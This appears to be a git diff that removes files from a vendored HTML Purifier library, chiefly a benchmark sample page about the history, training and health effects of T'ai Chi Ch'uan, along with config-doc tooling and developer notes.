Teachers say the study of T'ai Chi Ch'an is, more than anything else, about challenging one's ability to change oneself appropriately in response to outside forces. These principles are taught using the examples of physics as experienced by two (or more) bodies in combat. In order to be able to protect oneself or someone else by using change, it is necessary to understand what the consequences are of changing appropriately, changing inappropriately and not changing at all in response to an attack. Students, by this theory, will appreciate the full benefits of the entire art in the fastest way through physical training of the martial art aspect.

- -

Wu Chien-ch'an, co-founder of the Wu family style, described the name T'ai Chi Ch'an this way at the beginning of the 20th century:

-
-
"Various people have offered different explanations for the name T'ai Chi Ch'uan. Some have said: 'In terms of self-cultivation, one must train from a state of movement towards a state of stillness. T'ai Chi comes about through the balance of yin and yang. In terms of the art of attack and defense then, in the context of the changes of full and empty, one is constantly internally latent, not outwardly expressive, as if the yin and yang of T'ai Chi have not yet divided apart.'
- -
Others say: 'Every movement of T'ai Chi Ch'uan is based on circles, just like the shape of a T'ai Chi symbol. Therefore, it is called T'ai Chi Ch'uan.' Both explanations are quite reasonable, especially the second, which is more complete."
-
- -

- -

Training and techniques

-
-
The T'ai Chi Symbol or T'ai Chi T'u (Taijitu) -
-
Enlarge
-The T'ai Chi Symbol or T'ai Chi T'u (Taijitu)
-
-
-

As the name T'ai Chi Ch'an is held to be derived from the T'ai Chi symbol, the taijitu or t'ai chi t'u (???, pinyin tijt), commonly known in the West as the "yin-yang" diagram, T'ai Chi Ch'an techniques are said therefore to physically and energetically balance yin (receptive) and yang (active) principles: "From ultimate softness comes ultimate hardness."

- -

The core training involves two primary features: the first being the solo form or ch'an, a slow sequence of movements which emphasize a straight spine, relaxed breathing and a natural range of motion; the second being different styles of pushing hands or t'ui shou (??) for training "stickiness" and sensitivity in the reflexes through various motions from the forms in concert with a training partner in order to learn leverage, timing, coordination and positioning when interacting with another. Pushing hands is seen as necessary not only for training the self-defense skills of a soft style such as T'ai Chi by demonstrating the forms' movement principles experientially, but also it is said to improve upon the level of conditioning provided by practice of the solo forms by increasing the workload on students while they practice those movement principles.

-

The solo form should take the students through a complete, natural, range of motion over their centre of gravity. Accurate, repeated practice of the solo routine is said to retrain posture, encourage circulation throughout the students' bodies, maintain flexibility through their joints and further familiarize students with the martial application sequences implied by the forms. The major traditional styles of T'ai Chi have forms which differ somewhat cosmetically, but there are also many obvious similarities which point to their common origin. The solo forms, empty-hand and weapon, are catalogues of movements that are practised individually in pushing hands and martial application scenarios to prepare students for self-defence training. In most traditional schools different variations of the solo forms can be practiced; fast/slow, small circle/large circle, square/round (which are different expressions of leverage through the joints), low sitting/high sitting (the degree to which weight-bearing knees are kept bent throughout the form), for example.

-

In a fight, if one uses hardness to resist violent force then both sides are certain to be injured, at least to some degree. Such injury, according to T'ai Chi theory, is a natural consequence of meeting brute force with brute force. The collision of two like forces, yang with yang, is known as "double-weighted" in T'ai Chi terminology. Instead, students are taught not to fight or resist an incoming force, but to meet it in softness and "stick" to it, following its motion while remaining in physical contact until the incoming force of attack exhausts itself or can be safely redirected, the result of meeting yang with yin. Done correctly, achieving this yin/yang or yang/yin balance in combat (and, by extension, other areas of one's life) is known as being "single-weighted" and is a primary goal of T'ai Chi Ch'an training. Lao Tzu provided the archetype for this in the Tao Te Ching when he wrote, "The soft and the pliable will defeat the hard and strong." This soft "neutralization" of an attack can be accomplished very quickly in an actual fight by an adept practitioner. A T'ai Chi student has to be well conditioned by many years of disciplined training; stable, sensitive and elastic mentally and physically in order to realize this ability, however.

- -

Other training exercises include:

-
    -
  • Weapons training and fencing applications employing the straight sword known as the jian or chien or gim (jin ?), a heavier curved sabre, sometimes called a broadsword or tao (dao ?, which is actually considered a big knife), folding fan, staff (?), 7 foot (2 m) spear and 13 foot (4 m) lance (both called qiang ?). More exotic weapons still used by some traditional styles are the large Da Dao or Ta Tao (??) sabre, halberd (ji ?), cane, rope-dart, three sectional staff, lasso, whip, chain whip and steel whip.
  • - -
  • Two-person tournament sparring (as part of push hands competitions and/or san shou ??);
  • -
  • Breathing exercises; nei kung (?? nigong) or, more commonly, ch'i kung (?? qgong) to develop ch'i (? q) or "breath energy" in coordination with physical movement and post standing or combinations of the two. These were formerly taught only to disciples as a separate, complementary training system. In the last 50 years they have become more well known to the general public.
  • - -
-

T'ai Chi's martial aspect relies on sensitivity to the opponent's movements and centre of gravity dictating appropriate responses. Effectively affecting or "capturing" the opponent's centre of gravity immediately upon contact is trained as the primary goal of the martial T'ai Chi student, and from there all other technique can follow with seeming effortlessness. The alert calmness required to achieve the necessary sensitivity is acquired over thousands of hours of first yin (slow, repetitive, meditative, low impact) and then later adding yang ("realistic," active, fast, high impact) martial training; forms, pushing hands and sparring. T'ai Chi Ch'an trains in three basic ranges, close, medium and long, and then everything in between. Pushes and open hand strikes are more common than punches, and kicks are usually to the legs and lower torso, never higher than the hip in most styles. The fingers, fists, palms, sides of the hands, wrists, forearms, elbows, shoulders, back, hips, knees and feet are commonly used to strike, with strikes to the eyes, throat, heart, groin and other acupressure points trained by advanced students. There is an extensive repertoire of joint traps, locks and breaks (chin na), particularly applied to lock up or break an opponent's elbows, wrists, fingers, ankles, back or neck. Most T'ai Chi teachers expect their students to thoroughly learn defensive or neutralizing skills first, and a student will have to demonstrate proficiency with them before offensive skills will be extensively trained. There is also an emphasis in the traditional schools on kind-heartedness. One is expected to show mercy to one's opponents, as instanced by a poem preserved in some of the T'ai Chi families said to be derived from the Shaolin temple:

-
-
"I would rather maim than kill
- -
Hurt than maim
-
Intimidate than hurt
-
Avoid than intimidate."
-
-
-
An outdoor Chen style class in Beijing -
-
Enlarge
-An outdoor Chen style class in Beijing
-
-
- - -

-

Styles and history

-

There are five major styles of T'ai Chi Ch'an, each named after the Chinese family that teaches (or taught) it:

- -

The order of seniority is as listed above. The order of popularity is Yang, Wu, Chen, Sun, and Wu/Hao. The first five major family styles share much underlying theory, but differ in their approaches to training.

-

In the modern world there are now dozens of new styles, hybrid styles and offshoots of the main styles, but the five family schools are the groups recognised by the international community as being orthodox. For example, there are several groups teaching what they call Wu Tang style T'ai Chi Ch'an (??????). The best known modern style going by the name Wu Tang has gained some publicity internationally, especially in the UK and Europe, but was originally taught by a senior student of the Wu (?) style.

- -

The designation Wu Tang Ch'an is also used to broadly distinguish internal or nei chia martial arts (said to be a specialty of the monasteries at Wu Tang Shan) from what are known as the external or wei chia styles based on Shaolinquan kung fu, although that distinction is sometimes disputed by individual schools. In this broad sense, among many T'ai Chi schools all styles of T'ai Chi (as well as related arts such as Pa Kua Chang and Hsing-i Ch'an) are therefore considered to be "Wu Tang style" martial arts. The schools that designate themselves "Wu Tang style" relative to the family styles mentioned above mostly claim to teach an "original style" they say was formulated by a Taoist monk called Zhang Sanfeng and taught by him in the Taoist monasteries at Wu Tang Shan. Some consider that what is practised under that name today may be a modern back-formation based on stories and popular veneration of Zhang Sanfeng (see below) as well as the martial fame of the Wu Tang monastery (there are many other martial art styles historically associated with Wu Tang besides T'ai Chi).

- -

When tracing T'ai Chi Ch'an's formative influences to Taoist and Buddhist monasteries, one has little more to go on than legendary tales from a modern historical perspective, but T'ai Chi Ch'an's practical connection to and dependence upon the theories of Sung dynasty Neo-Confucianism (a conscious synthesis of Taoist, Buddhist and Confucian traditions, esp. the teachings of Mencius) is readily apparent to its practitioners. The philosophical and political landscape of that time in Chinese history is fairly well documented, even if the origin of the art later to become known as T'ai Chi Ch'an in it is not. T'ai Chi Ch'an's theories and practice are therefore believed by some schools to have been formulated by the Taoist monk Zhang Sanfeng in the 12th century, a time frame fitting well with when the principles of the Neo-Confucian school were making themselves felt in Chinese intellectual life. Therefore the didactic story is told that Zhang Sanfeng as a young man studied Tao Yin (??, Pinyin daoyin) breathing exercises from his Taoist teachers and martial arts at the Buddhist Shaolin monastery, eventually combining the martial forms and breathing exercises to formulate the soft or internal principles we associate with T'ai Chi Ch'an and related martial arts. Its subsequent fame attributed to his teaching, Wu Tang monastery was known thereafter as an important martial center for many centuries, its many styles of internal kung fu preserved and refined at various Taoist temples.

- - -

-

Family tree

-

This family tree is not comprehensive.

-
-LEGENDARY FIGURES
-   |
-Zhang Sanfeng*
-circa 12th century
-NEI CHIA
-
-   |
-Wang Zongyue*
-T'AI CHI CH'AN
-   |
-THE 5 MAJOR CLASSICAL FAMILY STYLES
-   |
-Chen Wangting
-1600-1680 9th generation Chen
-CHEN STYLE
-   |
-   +-------------------------------------------------------------------+
-   |                                                                   |
-Chen Changxing                                                     Chen Youben
-1771-1853 14th generation Chen                                     circa 1800s 14th generation Chen
-Chen Old Frame                                                     Chen New Frame
-   |                                                                   |
-
-Yang Lu-ch'an                                                      Chen Qingping
-1799-1872                                                          1795-1868
-YANG STYLE                                                         Chen Small Frame, Zhao Bao Frame
-   |                                                                   |
-   +---------------------------------+-----------------------------+   |
-   |                                 |                             |   |
-Yang Pan-hou                      Yang Chien-hou                   Wu Yu-hsiang
-1837-1892                         1839-1917                        1812-1880
-Yang Small Frame                     |                             WU/HAO STYLE
-
-   |                                 +-----------------+                      |
-   |                                 |                 |                      |
-Wu Ch'uan-y                      Yang Shao-hou     Yang Ch'eng-fu          Li I-y
-1834-1902                         1862-1930         1883-1936               1832-1892
-   |                              Yang Small Frame  Yang Big Frame            |
-Wu Chien-ch'an                                        |                    Hao Wei-chen
-
-1870-1942                                           Yang Shou-chung         1849-1920
-WU STYLE                                            1910-1985                 |
-108 Form                                                                      |
-   |                                                                        Sun Lu-t'ang
-Wu Kung-i                                                                   1861-1932
-1900-1970                                                                   SUN STYLE
-
-   |                                                                          |
-Wu Ta-kuei                                                                  Sun Hsing-i
-1923-1970                                                                   1891-1929
-
-MODERN FORMS
-
-from Yang Ch`eng-fu
-        |
-        |
-        |
-        +--------------+
-        |              |
-  Cheng Man-ch'ing     |
-  1901-1975            |
-  Short (37) Form      |
-                       |
-              Chinese Sports Commission
-              1956
-              Beijing 24 Form
-              .
-              .
-              1989
-              42 Competition Form
-
-              (Wushu competition form combined from Sun, Wu, Chen, and Yang styles)
-
- -

-

Notes to Family tree table

-

Names denoted by an asterisk are legendary or semilegendary figures in the lineage, which means their involvement in the lineage, while accepted by most of the major schools, isn't independently verifiable from known historical records.

-

The Cheng Man-ch'ing and Chinese Sports Commission short forms are said to be derived from Yang family forms, but neither are recognized as Yang family T'ai Chi Ch'an by current Yang family teachers. The Chen, Yang and Wu families are now promoting their own shortened demonstration forms for competitive purposes.

- - -

-

Modern T'ai Chi

-
-
Yang style in Shanghai -
-
Enlarge
-Yang style in Shanghai
-
-
-

T'ai Chi has become very popular in the last twenty years or so, as the baby boomers age and T'ai Chi's reputation for ameliorating the effects of aging becomes more well-known. Hospitals, clinics, community and senior centers are all hosting T'ai Chi classes in communities around the world. As a result of this popularity, there has been some divergence between those who say they practice T'ai Chi primarily for fighting, those who practice it for its aesthetic appeal (as in the shortened, modern, theatrical "Taijiquan" forms of wushu, see below), and those who are more interested in its benefits to physical and mental health. The wushu aspect is primarily for show; the forms taught for those purposes are designed to earn points in competition and are mostly unconcerned with either health maintenance or martial ability. More traditional stylists still see the two aspects of health and martial arts as equally necessary pieces of the puzzle, the yin and yang of T'ai Chi Ch'an. The T'ai Chi "family" schools therefore still present their teachings in a martial art context even though the majority of their students nowadays profess that they are primarily interested in training for the claimed health benefits.

- -

Along with Yoga, it is one of the fastest growing fitness and health maintenance activities, in terms of numbers of students enrolling in classes. Since there is no universal certification process and most Westerners haven't seen very much T'ai Chi and don't know what to look for, practically anyone can learn or even make up a few moves and call themselves a teacher. This is especially prevalent in the New Age community. Relatively few of these teachers even know that there are martial applications to the T'ai Chi forms. Those who do know that it is a martial art usually don't teach martially themselves. If they do teach self-defense, it is often a mixture of motions which the teachers think look like T'ai Chi Ch'an with some other system. This is especially evident in schools located outside of China. While this phenomenon may have made some external aspects of T'ai Chi available for a wider audience, the traditional T'ai Chi family schools see the martial focus as a fundamental part of their training, both for health and self-defense purposes. They claim that while the students may not need to practice martial applications themselves to derive a benefit from T'ai Chi training, they assert that T'ai Chi teachers at least should know the martial applications to ensure that the movements they teach are done correctly and safely by their students. Also, working on the ability to protect oneself from physical attack (one of the most stressful things that can happen to a person) certainly falls under the category of complete "health maintenance." For these reasons they claim that a school not teaching those aspects somewhere in their syllabus cannot be said to be actually teaching the art itself, and will be much less likely to be able to reproduce the full health benefits that made T'ai Chi's reputation in the first place.

- -

-

Modern forms

- -
-
Women practicing non-martial T'ai Chi in Chinatown (New York City, New York, USA). -
-
Enlarge
-Women practicing non-martial T'ai Chi in Chinatown (New York City, New York, USA).
-
-
- -

In order to standardize T'ai Chi Ch'an for wushu tournament judging, and because many of the family T'ai Chi Ch'an teachers had either moved out of China or had been forced to stop teaching after the Communist regime was established in 1949, the government sponsored Chinese Sports Committee brought together four of their wushu teachers to truncate the Yang family hand form to 24 postures in 1956. They wanted to somehow retain the look of T'ai Chi Ch'an but make an easy to remember routine that was less difficult to teach and much less difficult to learn than longer (generally 88 to 108 posture) classical solo hand forms. In 1976, they developed a slightly longer form also for the purposes of demonstration that still didn't involve the complete memory, balance and coordination requirements of the traditional forms. This was a combination form, the Combined 48 Forms that were created by three wushu coaches headed by Professor Men Hui Feng. The combined forms were created based on simplifying and combining some features of the classical forms from four of the original styles; Ch'en, Yang, Wu, and Sun. Even though shorter modern forms don't have the conditioning benefits of the classical forms, the idea was to take what they felt were distinctive cosmetic features of these styles and to express them in a shorter time for purposes of competition.

- -

As T'ai Chi again became popular on the Mainland, competitive forms were developed to be completed within a 6 minute time limit. In the late 1980s, the Chinese Sports Committee standardized many different competition forms. It had developed sets said to represent the four major styles as well as combined forms. These five sets of forms were created by different teams, and later approved by a committee of wushu coaches in China. All sets of forms thus created were named after their style, e.g., the Ch'en Style National Competition Form is the 56 Forms, and so on. The combined forms are The 42 Form or simply the Competition Form, as it is known in China. In the 11th Asian Games of 1990, wushu was included as an item for competition for the first time with the 42 Form being chosen to represent T'ai Chi. The International Wushu Federation (IWUF) has applied for wushu to be part of the Olympic games. If accepted, it is likely that T'ai Chi and wushu will be represented as demonstration events in 2008.

- -

Representatives of the original T'ai Chi families do not teach the forms developed by the Chinese Sports Committee. T'ai Chi Ch'an has historically been seen by them as a martial art, not a sport, with competitions mostly entered as a hobby or to promote one's school publicly, but with little bearing on measuring actual accomplishment in the art. Their criticisms of modern forms include that the modern, "government" routines have no standardized, internally consistent training requirements. Also, that people studying competition forms rarely train pushing hands or other power generation trainings vital to learning the martial applications of T'ai Chi Ch'an and thereby lack the quality control traditional teachers maintain is essential for achieving the full benefits from both the health and the martial aspect of traditional T'ai Chi training.

- -

-

Health benefits

-

Researchers have found that long-term T'ai Chi practice had favorable effects on the promotion of balance control, flexibility and cardiovascular fitness and reduced the risk of falls in elders. The studies also reported reduced pain, stress and anxiety in healthy subjects. Other studies have indicated improved cardiovascular and respiratory function in healthy subjects as well as those who had undergone coronary artery bypass surgery. Patients also benefited from T'ai Chi who suffered from heart failure, high blood pressure, heart attacks, arthritis and multiple sclerosis.

-

T'ai Chi has also been shown to reduce the symptoms of young Attention Deficit and Hyperactivity Disorder (ADHD) sufferers. T'ai Chi's gentle, low impact, movements surprisingly burn more calories than surfing and nearly as many as downhill skiing. T'ai Chi also boosts aspects of the immune system's function very significantly, and has been shown to reduce the incidence of anxiety, depression, and overall mood disturbance. (See research citations listed below.)

- -

A pilot study has found evidence that T'ai Chi and related qigong helps reduce the severity of diabetes.[1]

- -

-

Citations to medical research

-
    -
  • Wolf SL, Sattin RW, Kutner M. Intense T'ai Chi exercise training and fall occurrences in older, transitionally frail adults: a randomized, controlled trial. J Am Geriatr Soc. 2003 Dec; 51(12): 1693-701. PMID 14687346
  • -
  • Wang C, Collet JP, Lau J. The effect of Tai Chi on health outcomes in patients with chronic conditions: a systematic review. Arch Intern Med. 2004 Mar 8;164(5):493-501. PMID 15006825
  • - -
  • Search a listing of articles relating to the FICSIT trials and T'ai Chi [2]
  • -
  • Hernandez-Reif, M., Field, T.M., & Thimas, E. (2001). Attention deficit hyperactivity disorder: benefits from Tai Chi. Journal of Bodywork & Movement Therapies, 5(2):120-3, 2001 Apr, 5(23 ref), 120-123
  • -
  • Calorie Burning Chart [3]
  • -
  • Tai Chi boosts T-Cell counts in immune system [4]
  • -
  • Tai Chi, depression, anxiety, and mood disturbance (American Psychological Association) Journal of Psychosomatic Research, 1989 Vol 33 (2) 197-206
  • - -
  • A comprehensive listing of Tai Chi medical research links [5]
  • -
  • References to medical publications [6]
  • -
  • Tai Chi a promising remedy for diabetes, Australian Broadcasting Corporation, 20 December, 2005 - Pilot study of Qigong and tai chi in diabetes sufferers.
  • -
  • Health Research Articles on "Tai Chi as Health Therapy" for many issues, i.e. ADHD, Cardiac Health & Rehabilitation, Diabetes, High Blood Pressure, Menopause, Bone Loss, Weight Loss, etc.[7]
  • -
- - -

-

See also

- - -

-

External links

- - - - - - - -
-
-
-
-
-
-
Views
- -
-
-
Personal tools
- -
- - - - - - -
-
In other languages
- -
- -
-
- - -
- - - - - diff --git a/vendor/ezyang/htmlpurifier/benchmarks/samples/Lexer/DISCLAIMER.txt b/vendor/ezyang/htmlpurifier/benchmarks/samples/Lexer/DISCLAIMER.txt deleted file mode 100644 index 77391b6f14..0000000000 --- a/vendor/ezyang/htmlpurifier/benchmarks/samples/Lexer/DISCLAIMER.txt +++ /dev/null @@ -1,7 +0,0 @@ -Disclaimer: - -The HTML used in these samples are taken from random websites. I claim -no copyright over these and assert that I may use them like this under -fair use. - - vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/composer.json b/vendor/ezyang/htmlpurifier/composer.json index 497c98b1ba..0ff86b5df4 100644 --- a/vendor/ezyang/htmlpurifier/composer.json +++ b/vendor/ezyang/htmlpurifier/composer.json @@ -1,28 +1,28 @@ -{ - "name": "ezyang/htmlpurifier", - "description": "Standards compliant HTML filter written in PHP", - "type": "library", - "keywords": ["html"], - "homepage": "http://htmlpurifier.org/", - "license": "LGPL-2.1-or-later", - "authors": [ - { - "name": "Edward Z. Yang", - "email": "admin@htmlpurifier.org", - "homepage": "http://ezyang.com" - } - ], - "require": { - "php": ">=5.2" - }, - "require-dev": { - "simpletest/simpletest": "dev-master#72de02a7b80c6bb8864ef9bf66d41d2f58f826bd" - }, - "autoload": { - "psr-0": { "HTMLPurifier": "library/" }, - "files": ["library/HTMLPurifier.composer.php"], - "exclude-from-classmap": [ - "/library/HTMLPurifier/Language/" - ] - } -} +{ + "name": "ezyang/htmlpurifier", + "description": "Standards compliant HTML filter written in PHP", + "type": "library", + "keywords": ["html"], + "homepage": "http://htmlpurifier.org/", + "license": "LGPL-2.1-or-later", + "authors": [ + { + "name": "Edward Z. Yang", + "email": "admin@htmlpurifier.org", + "homepage": "http://ezyang.com" + } + ], + "require": { + "php": ">=5.2" + }, + "require-dev": { + "simpletest/simpletest": "dev-master#72de02a7b80c6bb8864ef9bf66d41d2f58f826bd" + }, + "autoload": { + "psr-0": { "HTMLPurifier": "library/" }, + "files": ["library/HTMLPurifier.composer.php"], + "exclude-from-classmap": [ + "/library/HTMLPurifier/Language/" + ] + } +} diff --git a/vendor/ezyang/htmlpurifier/configdoc/generate.php b/vendor/ezyang/htmlpurifier/configdoc/generate.php deleted file mode 100644 index 4288ec100b..0000000000 --- a/vendor/ezyang/htmlpurifier/configdoc/generate.php +++ /dev/null @@ -1,64 +0,0 @@ - true -)); - -$builder = new HTMLPurifier_ConfigSchema_InterchangeBuilder(); -$interchange = new HTMLPurifier_ConfigSchema_Interchange(); -$builder->buildDir($interchange); -$loader = dirname(__FILE__) . '/../config-schema.php'; -if (file_exists($loader)) include $loader; -$interchange->validate(); - -$style = 'plain'; // use $_GET in the future, careful to validate! -$configdoc_xml = dirname(__FILE__) . '/configdoc.xml'; - -$xml_builder = new HTMLPurifier_ConfigSchema_Builder_Xml(); -$xml_builder->openURI($configdoc_xml); -$xml_builder->build($interchange); -unset($xml_builder); // free handle - -$xslt = new ConfigDoc_HTMLXSLTProcessor(); -$xslt->importStylesheet(dirname(__FILE__) . "/styles/$style.xsl"); -$output = $xslt->transformToHTML($configdoc_xml); - -if (!$output) { - echo "Error in generating files\n"; - exit(1); -} - -// write out -file_put_contents(dirname(__FILE__) . "/$style.html", $output); - -if (php_sapi_name() != 'cli') { - // output (instant feedback if it's a browser) - echo $output; -} else { - echo "Files generated successfully.\n"; -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/configdoc/styles/plain.css b/vendor/ezyang/htmlpurifier/configdoc/styles/plain.css deleted file mode 100644 index 2e7906e1d6..0000000000 --- a/vendor/ezyang/htmlpurifier/configdoc/styles/plain.css +++ /dev/null @@ -1,44 +0,0 @@ - -body {margin:0;padding:0;} -#content { - margin:1em auto; - max-width: 47em; - width: expression(document.body.clientWidth > - 85 * parseInt(document.body.currentStyle.fontSize) ? - "54em": "auto"); -} - -table {border-collapse:collapse;} -table td, table th {padding:0.2em;} - -table.constraints {margin:0 0 1em;} -table.constraints th { - text-align:right;padding-left:0.4em;padding-right:0.4em;background:#EEE; - width:8em;vertical-align:top;} -table.constraints td {padding-right:0.4em; padding-left: 1em;} -table.constraints td ul {padding:0; margin:0; list-style:none;} -table.constraints td pre {margin:0;} - -#tocContainer {position:relative;} -#toc {list-style-type:none; font-weight:bold; font-size:1em; margin-bottom:1em;} -#toc li {position:relative; line-height: 1.2em;} -#toc .col-2 {margin-left:50%;} -#toc .col-l {float:left;} -#toc ul {list-style-type:disc; font-weight:normal; padding-bottom:1.2em;} - -.description p {margin-top:0;margin-bottom:1em;} - -#library, h1 {text-align:center; font-family:Garamond, serif; - font-variant:small-caps;} -#library {font-size:1em;} -h1 {margin-top:0;} -h2 {border-bottom:1px solid #CCC; font-family:sans-serif; font-weight:normal; - font-size:1.3em; clear:both;} -h3 {font-family:sans-serif; font-size:1.1em; font-weight:bold; } -h4 {font-family:sans-serif; font-size:0.9em; font-weight:bold; } - -.deprecated {color: #CCC;} -.deprecated table.constraints th {background:#FFF;} -.deprecated-notice {color: #000; text-align:center; margin-bottom: 1em;} - -/* vim: et sw=4 sts=4 */ diff --git a/vendor/ezyang/htmlpurifier/configdoc/styles/plain.xsl b/vendor/ezyang/htmlpurifier/configdoc/styles/plain.xsl deleted file mode 100644 index 55e157f029..0000000000 --- a/vendor/ezyang/htmlpurifier/configdoc/styles/plain.xsl +++ /dev/null @@ -1,253 +0,0 @@ - - - - - - - - - - - - - - - - <xsl:value-of select="$title" /> - <xsl:value-of select="/configdoc/title" /> - - - - -
-
-

-
-

Table of Contents

-
    - - - -
-
-
-

Types

- -
- -
- - -
- - -
- type- -

:

-
- -
-
-
- - - - - - - -
  • - - - col-2 - - - margin-top:-em - - - -
      - - - -
    - -
    - -
  • -
    -
    - - - - - -
  • - -
  • -
    -
    - - - - -
    - - -

    No configuration directives defined for this namespace.

    -
    -
    -
    - -

    -
    - -
    - -
    -
    - - -
    - directive deprecated - - - -
    -
    - - - -

    -
    - - - - - - - - - - - - - - - -
    -
    - - - Aliases - - - , - - - - - - -
    - -
    -
    - -
    - Warning: - This directive was deprecated in version . - % should be used instead. -
    -
    - - - Used in - -
      - -
    - - -
    - -
  • - on lines - - - , - - -
  • -
    - - - - Version added - - - - - - Type - - - type type- - - #type- - - - (or null) - - - - - - - - Allowed values - - , - "" - - - - - - Default -
    - -
    - - - External deps - -
      - -
    - - -
    - -
  • -
    - -
    - - diff --git a/vendor/ezyang/htmlpurifier/configdoc/types.xml b/vendor/ezyang/htmlpurifier/configdoc/types.xml deleted file mode 100644 index f394cee0ff..0000000000 --- a/vendor/ezyang/htmlpurifier/configdoc/types.xml +++ /dev/null @@ -1,69 +0,0 @@ - - - -
    - A series of case-insensitive characters. Internally, upper-case - ASCII characters will be converted to lower-case. -
    -
    - A series of characters that may contain newlines. Text tends to - indicate human-oriented text, as opposed to a machine format. -
    -
    - A series of case-insensitive characters that may contain newlines. -
    -
    - An - integer. You are alternatively permitted to pass a string of - digits instead, which will be cast to an integer using - (int). -
    -
    - A - floating point number. You are alternatively permitted to - pass a numeric string (as defined by is_numeric()), - which will be cast to a float using (float). -
    -
    - A boolean. - You are alternatively permitted to pass an integer 0 or - 1 (other integers are not permitted) or a string - "on", "true" or "1" for - true, and "off", "false" or - "0" for false. -
    -
    - An array whose values are true, e.g. array('key' - => true, 'key2' => true). You are alternatively permitted - to pass an array list of the keys array('key', 'key2') - or a comma-separated string of keys "key, key2". If - you pass an array list of values, ensure that your values are - strictly numerically indexed: array('key1', 2 => - 'key2') will not do what you expect and emits a warning. -
    -
    - An array which has consecutive integer indexes, e.g. - array('val1', 'val2'). You are alternatively permitted - to pass a comma-separated string of keys "val1, val2". - If your array is not in this form, array_values is run - on the array and a warning is emitted. -
    -
    - An array which is a mapping of keys to values, e.g. - array('key1' => 'val1', 'key2' => 'val2'). You are - alternatively permitted to pass a comma-separated string of - key-colon-value strings, e.g. "key1: val1, key2: val2". -
    -
    - An arbitrary PHP value of any type. -
    -
    - - diff --git a/vendor/ezyang/htmlpurifier/configdoc/usage.xml b/vendor/ezyang/htmlpurifier/configdoc/usage.xml deleted file mode 100644 index d1c8edb0b0..0000000000 --- a/vendor/ezyang/htmlpurifier/configdoc/usage.xml +++ /dev/null @@ -1,600 +0,0 @@ - - - - - 162 - - - 85 - 326 - - - 67 - 87 - 385 - - - 57 - - - - - 240 - - - - - 365 - - - - - 369 - - - - - 373 - - - - - 377 - - - - - 506 - - - - - 522 - - - - - 66 - - - - - 119 - - - - - 123 - - - - - 128 - - - - - 133 - - - - - 380 - 428 - - - - - 388 - 439 - - - - - 429 - - - - - 70 - - - - - 71 - - - - - 72 - - - - - 73 - - - - - 104 - - - - - 122 - - - 308 - - - - - 123 - - - - - 263 - - - - - 273 - - - - - 291 - - - - - 292 - - - - - 295 - - - - - 399 - - - - - 400 - - - - - 234 - - - 313 - 353 - - - 37 - - - 47 - - - 30 - - - - - 241 - - - - - 242 - - - - - 256 - - - - - 259 - - - - - 262 - - - - - 265 - - - 22 - - - - - 268 - - - - - 271 - - - - - 276 - - - - - 279 - - - - - 27 - - - - - 93 - - - - - 80 - - - - - 84 - - - 62 - - - - - 215 - 337 - - - - - 324 - - - - - 347 - - - - - 351 - - - 36 - - - - - 352 - - - - - 353 - - - 35 - - - - - 65 - - - 46 - - - - - 76 - - - 89 - - - - - 77 - - - - - 84 - - - - - 48 - - - - - 49 - - - - - 28 - - - - - 47 - - - - - 29 - - - 19 - - - - - 64 - - - - - 33 - - - - - 34 - - - - - 32 - - - - - 41 - - - - - 51 - - - - - 53 - 58 - - - - - 75 - - - - - 97 - - - - - 46 - - - - - 77 - - - - - 109 - - - - - 22 - - - - - 24 - - - 27 - - - - - 27 - - - - - 33 - - - - - 40 - - - - - 18 - - - 19 - - - - - 53 - - - - - 185 - - - - - 202 - 218 - - - - - 94 - - - - - 125 - - - - - 330 - - - - - 31 - - - - - 28 - - - 48 - - - - - 21 - - - 18 - - - 24 - - - - - 50 - - - - - 54 - - - - - 55 - - - - - 31 - - - - - 46 - - - - - 47 - - - - - 48 - - - - - 54 - - - - - 72 - - - - - 84 - - - - - 54 - - - - - 72 - - - 26 - - - - - 31 - - - - - 32 - - - - - 25 - - - - - 48 - - - - - 49 - - - - - 35 - - - diff --git a/vendor/ezyang/htmlpurifier/docs/dev-advanced-api.html b/vendor/ezyang/htmlpurifier/docs/dev-advanced-api.html deleted file mode 100644 index 4002fb8be5..0000000000 --- a/vendor/ezyang/htmlpurifier/docs/dev-advanced-api.html +++ /dev/null @@ -1,26 +0,0 @@ - - - - - - - -Advanced API - HTML Purifier - - - -

    Advanced API

    - -
    Filed under Development
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    - Please see Customize! -

    - - - - diff --git a/vendor/ezyang/htmlpurifier/docs/dev-code-quality.txt b/vendor/ezyang/htmlpurifier/docs/dev-code-quality.txt deleted file mode 100644 index 134c197542..0000000000 --- a/vendor/ezyang/htmlpurifier/docs/dev-code-quality.txt +++ /dev/null @@ -1,30 +0,0 @@ - -Code Quality Issues - -Okay, face it. Programmers can get lazy, cut corners, or make mistakes. They -also can do quick prototypes, and then forget to rewrite them later. Well, -while I can't list mistakes in here, I can list prototype-like segments -of code that should be aggressively refactored. This does not list -optimization issues, that needs to be done after intense profiling. - -docs/examples/demo.php - ad hoc HTML/PHP soup to the extreme - -AttrDef - a lot of duplication, more generic classes need to be created; -a lot of strtolower() calls, no legit casing - Class - doesn't support Unicode characters (fringe); uses regular expressions - Lang - code duplication; premature optimization - Length - easily mistaken for CSSLength - URI - multiple regular expressions; missing validation for parts (?) - CSS - parser doesn't accept advanced CSS (fringe) - Number - constructor interface inconsistent with Integer -Strategy - FixNesting - cannot bubble nodes out of structures, duplicated checks - for special-case parent node - RemoveForeignElements - should be run in parallel with MakeWellFormed -URIScheme - needs to have callable generic checks - mailto - doesn't validate emails, doesn't validate querystring - news - doesn't validate opaque path - nntp - doesn't constrain path - tel - doesn't validate phone numbers, only allows characters '+', '1-9', and 'x' - - vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/docs/dev-config-bcbreaks.txt b/vendor/ezyang/htmlpurifier/docs/dev-config-bcbreaks.txt deleted file mode 100644 index 31114b2b77..0000000000 --- a/vendor/ezyang/htmlpurifier/docs/dev-config-bcbreaks.txt +++ /dev/null @@ -1,79 +0,0 @@ - -Configuration Backwards-Compatibility Breaks - -In version 4.0.0, the configuration subsystem (composed of the outwards -facing Config class, as well as the ConfigSchema and ConfigSchema_Interchange -subsystems), was significantly revamped to make use of property lists. -While most of the changes are internal, some internal APIs were changed for the -sake of clarity. HTMLPurifier_Config was kept completely backwards compatible, -although some of the functions were retrofitted with an unambiguous alternate -syntax. Both of these changes are discussed in this document. - - - -1. Outwards Facing Changes --------------------------------------------------------------------------------- - -The 